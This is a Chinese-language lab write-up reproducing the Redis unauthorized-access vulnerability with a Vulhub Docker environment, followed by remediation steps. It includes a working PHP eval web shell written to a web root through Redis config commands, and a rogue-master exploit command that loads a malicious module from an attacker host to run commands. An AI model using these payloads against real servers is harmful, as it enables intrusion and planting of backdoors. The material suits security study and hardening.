Redis未授权访问漏洞
漏洞描述
Redis是什么?Redis是数据库,一个高性能的key-value存储系统,是使用ANSI C语言编写的。
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
影响版本
Redis4.x/5.0.5版本以下
漏洞复现
基础环境
组件 | 版本 |
---|---|
OS | kali2020 |
Docker_Vulhub | redis/4-unacc |
漏洞演示
执行如下命令启动redis 4.0.14
docker-compose up -d
-
- 直接访问
redis-cli -h 10.10.10.6
- 深度利用-读写文件
set webshell "<?=@eval($_REQUEST[buzhidao])?>"
config set dir d:\\phpstudy\\www
config set dbfilename 1.php
save
-
- POC即可直接执行命令
- 编译
chmod -R 777 ../
ls -al
make
- 攻击
python3 redis-master.py -r 192.168.37.172 -p 6379 -L 10.9.11.172 -P 666 -f RedisModulesSDK/exp.so -c "id"
漏洞修复
1.禁止一些高危命令(重启redis才能生效)
2.以低权限运行 Redis 服务(重启redis才能生效)切身体会
3.为 Redis 添加密码验证(重启redis才能生效)
4.禁止外网访问 Redis(重启redis才能生效)
5.修改默认端口
6.保证 authorized_keys 文件的安全
7.设置防火墙策略